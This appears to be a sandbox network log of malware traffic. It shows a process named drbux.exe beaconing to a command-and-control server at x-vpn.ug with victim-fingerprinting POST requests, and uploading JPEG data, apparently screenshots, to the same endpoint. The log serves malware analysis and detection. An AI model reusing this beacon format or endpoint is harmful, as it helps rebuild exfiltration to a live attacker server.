Jul 19, 2021 18:37:04.064728975 CEST	22434	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:37:04.146300077 CEST	22435	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:37:04.146481991 CEST	22438	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:37:04.146557093 CEST	22460	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:37:04.224945068 CEST	22466	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:37:04.225001097 CEST	22487	OUT	Data Raw: 03 ea 2b a3 d3 75 cd 32 cb cc d3 20 d4 ac d2 38 34 67 b4 8a f6 f2 c9 a5 82 59 de e1 65 6f dd 98 dc 94 03 20 6e 4e d9 c0 cd 61 78 82 f2 d2 ff 00 5d 92 e2 cd fc d0 61 89 65 98 2b 2a 4b 2a a0 0c c8 ad ca a1 23 e5 5c 0c 0c 00 14 70 2e 15 66 e6 93 db Data Ascii: +u2 84gYeo nNax]ae+K#\p.f]A77Mmh3`Lgz<$kHn4"O4 0n;=IB7S:0jvAc-l$wLQKcO1hfJOKvv
Jul 19, 2021 18:37:04.225408077 CEST	22508	OUT	Data Raw: 0d b6 20 4a 70 4a 69 b9 88 7f 15 27 db 63 1d 39 a7 74 2e 59 be 84 c1 29 42 55 63 7c bd 85 37 ed a4 f4 14 5c 3d 9c cb db 71 4a 05 67 fd ae 4f 5a 4f b4 48 7f 88 d2 b8 bd 8c 8d 3e 05 2e e5 1d c5 65 79 ae 7b 9a 03 1f 5a 03 d8 9a 9e 6a 7a 8a 4f 3d 07 Data Ascii: JpJi'c9t.Y)BUc\|7\=qJgOZOH>.ey{ZjzO=zN{$^JQ?Q//y5jg>h}>z3ZaCwg/FEf=iSURrE19i(7v,%ry&~~hC^TkW$>O
Jul 19, 2021 18:37:04.225440025 CEST	22511	OUT	Data Raw: 52 e6 4b 67 58 98 37 dd c3 11 83 9e dc f3 55 1a 71 8b ba 63 b5 b6 46 7d 06 b5 6e bc 33 af d8 47 e6 5e 68 7a 9d b4 7b 4b ee 9a d2 44 1b 47 53 92 3a 0c 8c 9a ce 68 25 48 23 9d a2 75 86 42 c1 24 2a 42 b1 18 c8 07 be 32 33 f5 15 ad d0 ac 32 8a 4a 5a Data Ascii: RKgX7UqcF}n3G^hz{KDGS:h%H#uB$*B232JZd%PSEAf.(Q@BJPi(AES@ERQLQL(Z())i()Rf!RQ@ESRREPZm(4:J(QI@@wRQLB
Jul 19, 2021 18:37:04.303282022 CEST	22519	OUT	Data Raw: 3e d0 ff 00 df b1 47 b6 f2 0f 67 e6 7c 49 9a 4a fb 73 ec 56 bf f3 ed 0f fd fb 14 7d 8a d7 fe 7d a1 ff 00 bf 62 97 b6 f2 0f 67 e6 7c 47 45 7d b9 f6 2b 5f f9 f6 87 fe fd 8a 3e c5 6b ff 00 3e d0 ff 00 df b1 4f db 79 07 b3 f3 3e 24 e6 8a fb 6f ec 56 Data Ascii: >Gg\|IJsV}}bg\|GE}+_>k>Oy>$oV}}bmC~bhy>$C~bhy>$C~bhy>$C~bhy>$k>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
358	192.168.2.6	50117	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:04.272355080 CEST	22511	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:04.351547956 CEST	22519	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
359	192.168.2.6	50118	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:04.544122934 CEST	22520	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:04.628159046 CEST	22534	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.6	49773	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:42.057981014 CEST	4441	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:42.058162928 CEST	4441	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:42.058608055 CEST	4451	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:42.058805943 CEST	4454	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:42.143280983 CEST	4455	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:42.143996000 CEST	4458	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:42.144092083 CEST	4460	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:42.144509077 CEST	4466	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:42.144759893 CEST	4468	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:42.145608902 CEST	4474	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:42.146224022 CEST	4478	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:42.146930933 CEST	4480	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
360	192.168.2.6	50119	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:04.592483044 CEST	22521	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bc Host: x-vpn.ug Content-Length: 96662 Cache-Control: no-cache
Jul 19, 2021 18:37:04.592628002 CEST	22521	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 66 39 37 33 62 31 37 36 38 39 64 65 38 66 35 32 63 34 62 30 37 33 65 30 64 66 34 32 36 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------ef973b17689de8f52c4b073e0df426bcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:37:04.594779968 CEST	22531	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:37:04.594995022 CEST	22534	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:37:04.677995920 CEST	22536	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:37:04.678831100 CEST	22542	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:37:04.678865910 CEST	22544	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:37:04.679039955 CEST	22547	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:37:04.679595947 CEST	22550	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:37:04.679651976 CEST	22552	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:37:04.679848909 CEST	22555	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:37:04.679891109 CEST	22557	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
361	192.168.2.6	50120	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:04.840825081 CEST	22613	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
